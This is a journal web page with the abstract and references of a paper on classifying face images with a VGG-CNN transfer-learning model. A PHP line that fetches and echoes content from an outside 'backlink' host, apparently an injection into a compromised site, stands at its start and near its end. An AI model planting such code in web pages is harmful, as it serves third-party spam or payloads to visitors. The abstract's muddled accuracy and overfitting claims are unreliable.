$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Face Images Classification using VGG-CNN | Astawa | Knowledge Engineering and Data Science

Face Images Classification using VGG-CNN

I Nyoman Gede Arya Astawa, Made Leo Radhitya, I Wayan Raka Ardana, Felix Andika Dwiyanto

Abstract


Image classification is a fundamental problem in computer vision. In facial recognition, image classification can speed up the training process and also significantly improve accuracy. The use of deep learning methods in facial recognition has been commonly used. One of them is the Convolutional Neural Network (CNN) method which has high accuracy. Furthermore, this study aims to combine CNN for facial recognition and VGG for the classification process. The process begins by input the face image. Then, the preprocessor feature extractor method is used for transfer learning. This study uses a VGG-face model as an optimization model of transfer learning with a pre-trained model architecture. Specifically, the features extracted from an image can be numeric vectors. The model will use this vector to describe specific features in an image.  The face image is divided into two, 17% of data test and 83% of data train. The result shows that the value of accuracy validation (val_accuracy), loss, and loss validation (val_loss) are excellent. However, the best training results are images produced from digital cameras with modified classifications. Val_accuracy's result of val_accuracy is very high (99.84%), not too far from the accuracy value (94.69%). Those slight differences indicate an excellent model, since if the difference is too much will causes underfit. Other than that, if the accuracy value is higher than the accuracy validation value, then it will cause an overfit. Likewise, in the loss and val_loss, the two values are val_loss (0.69%) and loss value (10.41%).


Full Text:

PDF

References


M. Andrejevic and N. Selwyn, “Facial recognition technology in schools: critical questions and concerns,” Learn. Media Technol., vol. 45, no. 2, pp. 115–128, Apr. 2020.

C. M. Cook, J. J. Howard, Y. B. Sirotin, J. L. Tipton, and A. R. Vemury, “Demographic Effects in Facial Recognition and Their Dependence on Image Acquisition: An Evaluation of Eleven Commercial Systems,” IEEE Trans. Biometrics, Behav. Identity Sci., vol. 1, no. 1, pp. 32–41, Jan. 2019.

Y. Lin and H. Xie, “Face Gender Recognition based on Face Recognition Feature Vectors,” in 2020 IEEE 3rd International Conference on Information Systems and Computer Aided Education (ICISCAE), 2020, pp. 162–166.

M. Imani and H. Ghassemian, “Fast feature selection methods for classification of hyperspectral images,” in 7’th International Symposium on Telecommunications (IST’2014), 2014, pp. 78–83.

Y. Zhu, C. Zhu, and X. Li, “Improved principal component analysis and linear regression classification for face recognition,” Signal Processing, vol. 145, pp. 175–182, Apr. 2018.

A. Raikwar and J. Agrawal, “A Review of Face Recognition Using Feature Optimization and Classification Techniques,” in Information Management and Machine Intelligence. ICIMMI 2019. Algorithms for Intelligent Systems, D. Goyal, V. E. Bălaş, A. Mukherjee, C. de A. V. Hugo, and A. K. Gupta, Eds. Singapore: Springer, 2021, pp. 595–604.

A. Bilgic, O. C. Kurban, and T. Yildirim, “Face recognition classifier based on dimension reduction in deep learning properties,” in 2017 25th Signal Processing and Communications Applications Conference (SIU), 2017, pp. 1–4.

T. Purwaningsih, I. A. Anjani, and P. B. Utami, “Convolutional Neural Networks Implementation for Chili Classification,” in 2018 International Symposium on Advanced Intelligent Informatics (SAIN), 2018, pp. 190–194.

A. Krizhevsky, I. Sutskever, and G. E. Hinton, “ImageNet classification with deep convolutional neural networks,” Commun. ACM, vol. 60, no. 6, pp. 84–90, May 2017.

K. Simonyan and A. Zisserman, “Very Deep Convolutional Networks for Large-Scale Image Recognition,” arXiv Prepr. arXiv1409.1556, Sep. 2014.

K. Chauhan and S. Ram, “Image classification with deep learning and comparison between different convolutional neural network structures using tensorflow and keras,” Int. J. Adv. Eng. Res. Dev., vol. 5, no. 02, pp. 533–538, 2018.

A. Fadlil, R. Umar, and S. Gustina, “Mushroom Images Identification Using Orde 1 Statistics Feature Extraction with Artificial Neural Network Classification Technique,” in The 2019 Conference on Fundamental and Applied Science for Advanced Technology, 2019.

A. Voulodimos, N. Doulamis, A. Doulamis, and E. Protopapadakis, “Deep Learning for Computer Vision: A Brief Review,” Comput. Intell. Neurosci., vol. 2018, pp. 1–13, 2018.

Y. Bengio, “Learning Deep Architectures for AI,” Found. Trends® Mach. Learn., vol. 2, no. 1, pp. 1–127, 2009.

M. D. Zeiler and R. Fergus, “Visualizing and Understanding Convolutional Networks,” in Computer Vision – ECCV 2014, D. Fleet, T. Pajdla, B. Schiele, and T. Tuytelaars, Eds. Springer, 2014, pp. 818–833.

Q. Cao, L. Shen, W. Xie, O. M. Parkhi, and A. Zisserman, “VGGFace2: A Dataset for Recognising Faces across Pose and Age,” in 2018 13th IEEE International Conference on Automatic Face & Gesture Recognition (FG 2018), 2018, pp. 67–74.

J. Yosinski, J. Clune, Y. Bengio, and H. Lipson, “How transferable are features in deep neural networks?,” arXiv Prepr. arXiv1411.1792, Nov. 2014.

P. Marcelino, “Transfer learning from pre-trained models,” 2018. [Online]. Available: https://towardsdatascience.com/transfer-learning-from-pre-trained-models-f2393f124751. [Accessed: 06-Feb-2021].

I. N. G. A. Astawa, I. K. G. D. Putra, M. Sudarma, and R. S. Hartati, “KomNET: Face Image Dataset from Various Media for Face Recognition,” Data Br., vol. 31, p. 105677, Aug. 2020.

Y. E. Wang, G.-Y. Wei, and D. Brooks, “Benchmarking TPU, GPU, and CPU Platforms for Deep Learning,” arXiv Prepr. arXiv1907.10701, Jul. 2019.




DOI: http://dx.doi.org/10.17977/um018v4i12021p49-54

Refbacks

  • There are currently no refbacks.


Copyright (c) 2021 Knowledge Engineering and Data Science

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

Flag Counter

Creative Commons License


This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

View My Stats

---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------